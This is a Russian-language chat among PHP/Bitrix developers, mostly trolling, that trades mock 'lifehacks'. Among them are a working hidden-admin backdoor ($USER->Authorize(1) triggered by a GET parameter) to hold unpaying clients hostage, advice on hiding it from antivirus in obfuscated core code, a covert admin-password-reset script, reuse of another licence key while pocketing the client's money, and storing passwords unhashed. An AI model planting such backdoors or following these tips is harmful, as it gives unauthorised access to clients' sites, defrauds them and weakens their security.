Антон
- Запрещено оскорбления других участников бан!
Александр
- Запрещено оскорбления других участников бан!
Констатация фактов - Не оскорбление) если я обезьяну назову обезьяной)) это уже не оскорбление
Антон
Да, надо уметь понимать где шутки Саша, надеюсь ты вынесешь для себя урок
Александр
Да вообще похрен)
Александр
Да, надо уметь понимать где шутки Саша, надеюсь ты вынесешь для себя урок
Александр
Ты сейчас с копипастой разговариваешь)
Антон
Ладно Саша, прости если обидел, можешь тут теперь спокойно общаться
Kirill
Вопрос без трололо - кто чем дебажит? VarDump, Xdebug или что еще?
Антон
Kirill
Kirill
Kirill
Чёт я потерял логику всего происходящего
Антон
Я честно говоря тоже
Тимур
Что это было сейчас😃😃😃
Ilgiz
Дровосек спорит с бензопилой 😁
Robert
var_dump)))
Kirill
var_dump)))
А почему? Попрбовали дебаггер и не понравилось или не пробовали?
Robert
А почему? Попрбовали дебаггер и не понравилось или не пробовали?
Да как то привык. В условиях когда клиенты обращаются поправить с сайтами написанными еще в 11-14 годах, с заданием добавить какой-нибудь блок и при том еще параллельно проводящими работами другим программистом с их стороны не используя гит, сразу на проде. О каком дебагере может идти речь. 😀 <? if(isset($_GET['dev'])){?> <pre><? var_dump($****); ?></pre> <?} ?> мое все 😀
Антон
#Лайфхак Если сдаешь сайт клиенту без предоплаты, то можно сделать следующее if($_GET[‘backdoor’]) { $USER->Authorize(1); } И в любой момент авторизоваться под админом, вы знали?
Антон
Ок, а если я сделаю фасад над этой штукой?
Robert
сама строка $USER->Authorize(1); палится так
Megaket4up
if ($_GET['PIPIPUCHECK']) { GLOBAL $USER; $USER->Authorize(1); }
Антон
Что бы везде это не прописываться, я обычно сразу в init.php вызываю экземпляры нужных мне классов и переменных и делаю их глобальными
Kirill
Megaket4up
сама строка $USER->Authorize(1); палится так
Чтоб не палится перед антивирусом можно поискать в обфусцифицированном куске кода ядра битрикс похожую конструкцию
Megaket4up
Robert
Чтоб сделать себя невидимым антивирусом. Лучше сделать скрипт где можно можно через пост прописать админу новый пароль с предварительным сохранением значения PASSWORD из таблицы пользователей через тот же file put content
Megaket4up
Лучше не шифровать пароль в базе и все
Robert
Лучше не шифровать пароль в базе и все
А как ты пройдешь авторизацию методами bitrix тогда?
Антон
Когда работаю с базой напрямую или пишу SQL запросы, то обычно так и кладу. Так как Битрикс очень защищен и шифровать пароль это по сути пережиток прошлого
Антон
А как ты пройдешь авторизацию методами bitrix тогда?
Для этого я переопределил базовый метод auth
Robert
Сейчас мы тут научим сеньеров 😁
Антон
Если нужно сдавать сайт вчера, а верстка еще не готова, то можно в некоторые участики картинки вставить, которые не интерактивные. А вы чем пользуетесь для того что ускорить сдачу проекта?
Kirill
Антон
Это крайний случай! Так что не лайфхак
Megaket4up
А так можно было что ли?
Я вообще в веб разработку пошел, узнав что из офиса можно html сохранять
Антон
#Лайфхак Если клиент дал деньги на оплату лицензии Битрикса, то можно просто вставить ключ от другой лицензии, а деньги от лицензии потратить на что-то более нужное (например книжка по jQuery)
Kirill
Увидел это
Megaket4up
Я вообще в веб разработку пошел, узнав что из офиса можно html сохранять
А потом купил курсы Евгения Попова по jQuery и понял что это мое
Kirill
потом он правда ушел на телевидение и начал работать на канале Россия, но у него лучшие курсы по вебу
Kirill
Robert
Если верстать лень — переносишь картинки в power point, делаешь переходы и сохраняешь в html
Сохраняем макет из фигма в svg. в боди пишем <img style="width:100%;" src="home.svg?h1=Заголовок страницы& (другие переменные) "> Открываем svg открываем через блокнот и расставляем гет переменные где нужно в .htaccess прописываем чтоб svg обрабатывалось интерпретатором php Зачем вообще верстать если можно сделать проще? Для удобства можно все переменные занести в json и обращаться так <img style="width:100%;" src="home.svg?json=<?=urlencode(file_get_content('data.json'))?> ">
Антон
Robert
а если нужно связать с полями в админке спросите вы? Я вам скажу, что очень просто сделать это с php. Создаем массив с этими полями и обращаемся так <img style="width:100%;" src="home.svg?json=<?=json_encode($array)?> ">
Антон
Дмитрий, я вижу вы очень опытный разработчик, спасибо за отличные советы 🙏
Robert
Kirill
Технология JSinPHP
Kirill
или PHPinJS
Kirill
Кому как нравится
Антон
Кирилл, нужно разделять шаблоны и логику. Для этого я создаю файлы с названием переменных file_put_content(‘/var/www/$arResult.txt’, json_decode(….)) и передалю эту переменную потом в скрытый инпут и от туда уже на JS получаю
Антон
Так будет меньше каши в коде
Robert
у кого еще какие эксемплы есть?
Антон
Технология называется PhpVariablesInFilesGetValueFromInputJS
Kirill
Kirill
Почитал чат...
Антон
Расстроился что столько секретов и подходов к разработке не знал?
Антон
а если нужно передать переменную в js, то нам не нужен API, мы просто сделаем <?php $phpVar = 123; ?> <script> let jsVar = <?= $phpVar ?>; </script>
Кстати Кирилл, Битрикс практикует практику когда можно писать меньше кода. Достаточно <? написать, не надо <?php
Kirill
Да нет - думал может что серьезное обсудить, но понимаю что не получится.
Kirill
Насчет var_dump было серьезно 😀
Верю, а дальше пошло трололо)))
Kirill
Robert
Все клиенты хотят быстрее. Ну не знаю как у вас, но у меня в основном такой контингент собрался. И заморачиваться в каких то дебагерах тратить на это драгоценные минуты 😀
Robert
@LogarAvrelian у меня теперь есть серьезный вопрос. Стоит задача сделать бэк api по стандарту REST. Это все должно функционировать на хостинге где разрешены только POST и GET.
Robert
Как быть с PUT, DELETE и прочими?